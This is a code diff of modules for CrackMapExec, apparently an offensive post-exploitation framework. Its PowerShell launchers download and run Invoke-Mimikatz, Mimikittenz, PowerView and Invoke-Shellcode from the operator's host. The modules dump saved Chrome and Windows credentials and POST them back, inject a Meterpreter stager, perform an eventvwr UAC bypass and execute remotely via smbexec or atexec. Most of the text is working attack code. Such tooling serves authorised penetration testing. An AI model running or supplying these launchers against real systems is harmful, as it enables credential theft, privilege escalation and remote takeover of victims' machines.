LISTENER Listener name to generate the launcher for
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'LISTENER' in module_options:
|
|
||||||
context.log.error('LISTENER option is required!')
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
self.empire_launcher = None
|
|
||||||
|
|
||||||
headers = {'Content-Type': 'application/json'}
|
|
||||||
|
|
||||||
#Pull the username and password from the config file
|
|
||||||
payload = {'username': context.conf.get('Empire', 'username'),
|
|
||||||
'password': context.conf.get('Empire', 'password')}
|
|
||||||
|
|
||||||
#Pull the host and port from the config file
|
|
||||||
base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
|
|
||||||
|
|
||||||
try:
|
|
||||||
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
|
|
||||||
if r.status_code == 200:
|
|
||||||
token = r.json()['token']
|
|
||||||
|
|
||||||
payload = {'StagerName': 'launcher', 'Listener': module_options['LISTENER']}
|
|
||||||
r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
|
|
||||||
self.empire_launcher = r.json()['launcher']['Output']
|
|
||||||
|
|
||||||
context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
|
|
||||||
else:
|
|
||||||
context.log.error("Error authenticating to Empire's RESTful API server!")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
except ConnectionError as e:
|
|
||||||
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
return self.empire_launcher
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
return
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed Empire Launcher')
|
|
|
@ -1,131 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
|
|
||||||
from datetime import datetime
|
|
||||||
from StringIO import StringIO
|
|
||||||
import re
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'enum_chrome'
|
|
||||||
|
|
||||||
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
'''
|
|
||||||
return
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
|
|
||||||
'''
|
|
||||||
Oook.. Think my heads going to explode
|
|
||||||
|
|
||||||
So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
|
|
||||||
Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.
|
|
||||||
|
|
||||||
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
|
|
||||||
'''
|
|
||||||
|
|
||||||
launcher = '''
|
|
||||||
$cmd = "privilege::debug sekurlsa::dpapi"
|
|
||||||
$userdirs = get-childitem "$Env:SystemDrive\Users"
|
|
||||||
foreach ($dir in $userdirs) {{
|
|
||||||
$LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data"
|
|
||||||
|
|
||||||
if ([System.IO.File]::Exists($LoginDataPath)) {{
|
|
||||||
$rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}})
|
|
||||||
$temp_path = "$Env:windir\Temp\$rand_name"
|
|
||||||
Copy-Item $LoginDataPath $temp_path
|
|
||||||
$cmd = $cmd + " `"dpapi::chrome /in:$temp_path`""
|
|
||||||
}}
|
|
||||||
|
|
||||||
}}
|
|
||||||
$cmd = $cmd + " exit"
|
|
||||||
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
|
||||||
$creds = Invoke-Mimikatz -Command $cmd;
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
|
|
||||||
'''
|
|
||||||
Since the chrome decryption feature is relatively new, I had to manully compile the latest Mimikatz version,
|
|
||||||
update the base64 encoded binary in the Invoke-Mimikatz.ps1 script
|
|
||||||
and apply a patch that @gentilkiwi posted here https://github.com/PowerShellMafia/PowerSploit/issues/147 for the newer versions of mimikatz to work when injected.
|
|
||||||
|
|
||||||
Here we call the updated PowerShell script instead of PowerSploits version
|
|
||||||
'''
|
|
||||||
|
|
||||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher, methods=['smbexec', 'atexec'])
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
def on_response(self, context, response):
|
|
||||||
response.send_response(200)
|
|
||||||
response.end_headers()
|
|
||||||
length = int(response.headers.getheader('content-length'))
|
|
||||||
data = response.rfile.read(length)
|
|
||||||
|
|
||||||
#We've received the response, stop tracking this host
|
|
||||||
response.stop_tracking_host()
|
|
||||||
|
|
||||||
if len(data):
|
|
||||||
buf = StringIO(data).readlines()
|
|
||||||
creds = []
|
|
||||||
|
|
||||||
try:
|
|
||||||
i = 0
|
|
||||||
while i < len(buf):
|
|
||||||
if ('URL' in buf[i]):
|
|
||||||
url = buf[i].split(':', 1)[1].strip()
|
|
||||||
user = buf[i+1].split(':', 1)[1].strip()
|
|
||||||
passw = buf[i+3].split(':', 1)[1].strip()
|
|
||||||
|
|
||||||
creds.append({'url': url, 'user': user, 'passw': passw})
|
|
||||||
|
|
||||||
i += 1
|
|
||||||
|
|
||||||
if creds:
|
|
||||||
context.log.success('Found saved Chrome credentials:')
|
|
||||||
for cred in creds:
|
|
||||||
context.log.highlight('URL: ' + cred['url'])
|
|
||||||
context.log.highlight('Username: ' + cred['user'])
|
|
||||||
context.log.highlight('Password: ' + cred['passw'])
|
|
||||||
context.log.highlight('')
|
|
||||||
except:
|
|
||||||
context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials')
|
|
||||||
|
|
||||||
log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
|
||||||
write_log(data, log_name)
|
|
||||||
context.log.info("Saved Mimikatz's output to {}".format(log_name))
|
|
|
@ -1,76 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, get_ps_script
|
|
||||||
from sys import exit
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
|
|
||||||
'''
|
|
||||||
Executes a command using the the eventvwr.exe fileless UAC bypass
|
|
||||||
Powershell script and vuln discovery by Matt Nelson (@enigma0x3)
|
|
||||||
|
|
||||||
module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'eventvwr_bypass'
|
|
||||||
|
|
||||||
description = 'Executes a command using the eventvwr.exe fileless UAC bypass'
|
|
||||||
|
|
||||||
chain_support = True
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND or CMDFILE options are required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options:
|
|
||||||
self.command = module_options['COMMAND']
|
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
|
||||||
|
|
||||||
if not os.path.exists(path):
|
|
||||||
context.log.error('Path to CMDFILE invalid!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
with open(path, 'r') as cmdfile:
|
|
||||||
self.command = cmdfile.read().strip()
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
launcher = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1');
|
|
||||||
Invoke-EventVwrBypass -Force -Command "{command}";
|
|
||||||
'''.format(server=context.server,
|
|
||||||
addr=context.localip,
|
|
||||||
port=context.server_port,
|
|
||||||
command=command)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script:
|
|
||||||
return ps_script.read()
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if request.path[1:] == 'Invoke-EventVwrBypass.ps1':
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
request.stop_tracking_host()
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
|
@ -4,38 +4,28 @@ class CMEModule:
|
||||||
Module by @yomama
|
Module by @yomama
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
|
||||||
name = 'example module'
|
name = 'example module'
|
||||||
|
|
||||||
description = 'Something Something'
|
description = 'I do something'
|
||||||
|
|
||||||
#If the module supports chaining, change this to True
|
supported_protocols = []
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
'''Required. Generate your launcher here'''
|
|
||||||
pass
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
'''Required. Generate your payload here'''
|
|
||||||
pass
|
|
||||||
|
|
||||||
def on_login(self, context, connection):
|
def on_login(self, context, connection):
|
||||||
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
def on_admin_login(self, context, connection):
|
||||||
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
|
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
def on_request(self, context, request):
|
||||||
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
|
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def on_response(self, context, response):
|
def on_response(self, context, response):
|
||||||
'''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
|
'''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -0,0 +1,55 @@
|
||||||
|
from cme.helpers.powershell import *
|
||||||
|
from cme.helpers.logger import write_log, highlight
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class CMEModule():
|
||||||
|
|
||||||
|
name = 'get_netdomaincontroller'
|
||||||
|
description = "Wrapper for PowerView's Get-NetDomainController"
|
||||||
|
supported_protocols = ['mssql', 'smb']
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection):
|
||||||
|
command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String'
|
||||||
|
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command)
|
||||||
|
ps_command = create_ps_command(launcher)
|
||||||
|
|
||||||
|
connection.execute(ps_command, methods=['smbexec', 'atexec'])
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request):
|
||||||
|
if 'PowerView.ps1' == request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
||||||
|
payload = obfs_ps_script(ps_script.read())
|
||||||
|
request.wfile.write(payload)
|
||||||
|
|
||||||
|
else:
|
||||||
|
request.send_response(404)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
def on_response(self, context, response):
|
||||||
|
response.send_response(200)
|
||||||
|
response.end_headers()
|
||||||
|
length = int(response.headers.getheader('content-length'))
|
||||||
|
data = response.rfile.read(length)
|
||||||
|
|
||||||
|
#We've received the response, stop tracking this host
|
||||||
|
response.stop_tracking_host()
|
||||||
|
|
||||||
|
dc_count = 0
|
||||||
|
if len(data):
|
||||||
|
context.log.info('Parsing output, please wait...')
|
||||||
|
buf = StringIO(data).readlines()
|
||||||
|
for line in buf:
|
||||||
|
if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
|
||||||
|
hostname, domain, ip = filter(None, line.strip().split(' '))
|
||||||
|
#logging.debug('{} {} {}'.format(hostname, domain, ip))
|
||||||
|
context.db.add_host(ip, hostname, domain, '', dc=True)
|
||||||
|
dc_count += 1
|
||||||
|
|
||||||
|
context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))
|
|
@ -0,0 +1,66 @@
|
||||||
|
from cme.helpers.powershell import *
|
||||||
|
from cme.helpers.logger import write_log, highlight
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class CMEModule():
|
||||||
|
|
||||||
|
name = 'get_netgroup'
|
||||||
|
description = "Wrapper for PowerView's Get-NetGroup"
|
||||||
|
supported_protocols = ['mssql', 'smb']
|
||||||
|
|
||||||
|
def options(self, context, module_options):
|
||||||
|
'''
|
||||||
|
GROUPNAME Return all groups with the specifed string in their name (supports regex)
|
||||||
|
USERNAME Return all groups that the specifed user belongs to (supports regex)
|
||||||
|
'''
|
||||||
|
|
||||||
|
self.group_name = None
|
||||||
|
self.user_name = None
|
||||||
|
self.domain = None
|
||||||
|
|
||||||
|
if module_options and 'GROUPNAME' in module_options:
|
||||||
|
self.group_name = module_options['GROUPNAME']
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection):
|
||||||
|
self.domain = connection.conn.getServerDomain()
|
||||||
|
|
||||||
|
command = 'Get-NetGroup | Out-String'
|
||||||
|
if self.group_name : command = 'Get-NetGroup -GroupName {} | Out-String'.format(self.group_name)
|
||||||
|
|
||||||
|
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command)
|
||||||
|
ps_command = create_ps_command(launcher)
|
||||||
|
|
||||||
|
connection.execute(ps_command, methods=['smbexec', 'atexec'])
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request):
|
||||||
|
if 'PowerView.ps1' == request.path[1:]:
|
||||||
|
request.send_response(200)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
||||||
|
payload = obfs_ps_script(ps_script.read())
|
||||||
|
request.wfile.write(payload)
|
||||||
|
|
||||||
|
else:
|
||||||
|
request.send_response(404)
|
||||||
|
request.end_headers()
|
||||||
|
|
||||||
|
def on_response(self, context, response):
|
||||||
|
response.send_response(200)
|
||||||
|
response.end_headers()
|
||||||
|
length = int(response.headers.getheader('content-length'))
|
||||||
|
data = response.rfile.read(length)
|
||||||
|
|
||||||
|
#We've received the response, stop tracking this host
|
||||||
|
response.stop_tracking_host()
|
||||||
|
|
||||||
|
group_count = 0
|
||||||
|
if len(data):
|
||||||
|
context.log.info('Parsing output, please wait...')
|
||||||
|
buf = StringIO(data).readlines()
|
||||||
|
for line in buf:
|
||||||
|
context.db.add_group(self.domain, line.strip())
|
||||||
|
group_count += 1
|
||||||
|
|
||||||
|
context.log.success('Added {} groups to the database'.format(highlight(group_count)))
|
|
@ -1,90 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
|
||||||
from sys import exit
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
name = 'met_inject'
|
|
||||||
|
|
||||||
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
LHOST IP hosting the handler
|
|
||||||
LPORT Handler port
|
|
||||||
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
|
|
||||||
PROCID Process ID to inject into (default: current powershell process)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'LHOST' in module_options or not 'LPORT' in module_options:
|
|
||||||
context.log.error('LHOST and LPORT options are required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
self.met_payload = 'reverse_https'
|
|
||||||
self.lhost = None
|
|
||||||
self.lport = None
|
|
||||||
self.procid = None
|
|
||||||
|
|
||||||
if 'PAYLOAD' in module_options:
|
|
||||||
self.met_payload = module_options['PAYLOAD']
|
|
||||||
|
|
||||||
if 'PROCID' in module_options:
|
|
||||||
self.procid = module_options['PROCID']
|
|
||||||
|
|
||||||
self.lhost = module_options['LHOST']
|
|
||||||
self.lport = module_options['LPORT']
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
|
|
||||||
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
|
|
||||||
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
|
|
||||||
|
|
||||||
launcher = """
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
|
|
||||||
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
|
|
||||||
$SumTest = $False
|
|
||||||
while ($SumTest -eq $False)
|
|
||||||
{{
|
|
||||||
$GeneratedUri = $CharArray | Get-Random -Count 4
|
|
||||||
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
|
||||||
}}
|
|
||||||
$RequestUri = -join $GeneratedUri
|
|
||||||
$Request = "{}://{}:{}/$($RequestUri)"
|
|
||||||
$WebClient = New-Object System.Net.WebClient
|
|
||||||
[Byte[]]$bytes = $WebClient.DownloadData($Request)
|
|
||||||
Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server,
|
|
||||||
context.localip,
|
|
||||||
context.server_port,
|
|
||||||
'http' if self.met_payload == 'reverse_http' else 'https',
|
|
||||||
self.lhost,
|
|
||||||
self.lport)
|
|
||||||
|
|
||||||
if self.procid:
|
|
||||||
launcher += " -ProcessID {}".format(self.procid)
|
|
||||||
|
|
||||||
return create_ps_command(launcher, force_ps32=True)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
request.stop_tracking_host()
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
|
@ -1,4 +1,7 @@
|
||||||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
|
from cme.helpers.powershell import *
|
||||||
|
from cme.helpers.misc import validate_ntlm
|
||||||
|
from cme.helpers.logger import write_log
|
||||||
|
from StringIO import StringIO
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
@ -12,7 +15,7 @@ class CMEModule:
|
||||||
|
|
||||||
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
|
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
|
||||||
|
|
||||||
chain_support = False
|
supported_protocols = ['mssql', 'smb']
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
'''
|
'''
|
||||||
|
@ -26,39 +29,24 @@ class CMEModule:
|
||||||
|
|
||||||
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
|
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
|
||||||
|
|
||||||
def launcher(self, context, command):
|
def on_admin_login(self, context, connection):
|
||||||
launcher = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
|
||||||
$creds = Invoke-Mimikatz -Command '{command}';
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip,
|
|
||||||
command=command)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
command = "Invoke-Mimikatz -Command '{}'".format(self.command)
|
||||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'Invoke-Mimikatz.ps1', command)
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
ps_command = create_ps_command(launcher)
|
||||||
connection.execute(launcher)
|
|
||||||
|
connection.execute(ps_command)
|
||||||
context.log.success('Executed launcher')
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
def on_request(self, context, request):
|
||||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
request.wfile.write(payload)
|
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||||
|
payload = obfs_ps_script(ps_script.read())
|
||||||
|
request.wfile.write(payload)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
request.send_response(404)
|
request.send_response(404)
|
||||||
|
@ -68,7 +56,7 @@ class CMEModule:
|
||||||
"""
|
"""
|
||||||
uniquify mimikatz tuples based on the password
|
uniquify mimikatz tuples based on the password
|
||||||
cred format- (credType, domain, username, password, hostname, sid)
|
cred format- (credType, domain, username, password, hostname, sid)
|
||||||
|
|
||||||
Stolen from the Empire project.
|
Stolen from the Empire project.
|
||||||
"""
|
"""
|
||||||
seen = set()
|
seen = set()
|
||||||
|
@ -113,7 +101,7 @@ class CMEModule:
|
||||||
|
|
||||||
lines2 = match.split("\n")
|
lines2 = match.split("\n")
|
||||||
username, domain, password = "", "", ""
|
username, domain, password = "", "", ""
|
||||||
|
|
||||||
for line in lines2:
|
for line in lines2:
|
||||||
try:
|
try:
|
||||||
if "Username" in line:
|
if "Username" in line:
|
||||||
|
@ -126,7 +114,7 @@ class CMEModule:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if username != "" and password != "" and password != "(null)":
|
if username != "" and password != "" and password != "(null)":
|
||||||
|
|
||||||
sid = ""
|
sid = ""
|
||||||
|
|
||||||
# substitute the FQDN in if it matches
|
# substitute the FQDN in if it matches
|
||||||
|
@ -209,16 +197,14 @@ class CMEModule:
|
||||||
if len(data):
|
if len(data):
|
||||||
creds = self.parse_mimikatz(data)
|
creds = self.parse_mimikatz(data)
|
||||||
if len(creds):
|
if len(creds):
|
||||||
context.log.success("Found credentials in Mimikatz output (domain\\username:password)")
|
|
||||||
for cred_set in creds:
|
for cred_set in creds:
|
||||||
credtype, domain, username, password,_,_ = cred_set
|
credtype, domain, username, password,_,_ = cred_set
|
||||||
|
|
||||||
#Get the hostid from the DB
|
#Get the hostid from the DB
|
||||||
hostid = context.db.get_hosts(response.client_address[0])[0][0]
|
hostid = context.db.get_hosts(response.client_address[0])[0][0]
|
||||||
|
|
||||||
context.db.add_credential(credtype, domain, username, password, hostid)
|
context.db.add_credential(credtype, domain, username, password, hostid)
|
||||||
context.log.highlight('{}\\{}:{}'.format(domain, username, password))
|
|
||||||
|
context.log.success("Added {} credential(s) to the database".format(len(creds)))
|
||||||
|
|
||||||
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||||
write_log(data, log_name)
|
write_log(data, log_name)
|
||||||
context.log.info("Saved Mimikatz's output to {}".format(log_name))
|
context.log.info("Saved raw Mimikatz output to {}".format(log_name))
|
||||||
|
|
|
@ -1,79 +0,0 @@
|
||||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
|
||||||
from StringIO import StringIO
|
|
||||||
from datetime import datetime
|
|
||||||
from sys import exit
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Executes the Mimikittenz script
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name = 'mimikittenz'
|
|
||||||
|
|
||||||
description = "Executes Mimikittenz"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
'''
|
|
||||||
return
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
launcher = '''
|
|
||||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
|
|
||||||
$data = Invoke-Mimikittenz;
|
|
||||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
|
||||||
$request.Method = 'POST';
|
|
||||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
|
||||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
|
|
||||||
$request.ContentLength = $bytes.Length;
|
|
||||||
$requestStream = $request.GetRequestStream();
|
|
||||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
|
||||||
$requestStream.Close();
|
|
||||||
$request.GetResponse();'''.format(server=context.server,
|
|
||||||
port=context.server_port,
|
|
||||||
addr=context.localip)
|
|
||||||
|
|
||||||
return create_ps_command(launcher)
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
|
|
||||||
return obfs_ps_script(ps_script.read())
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed launcher')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
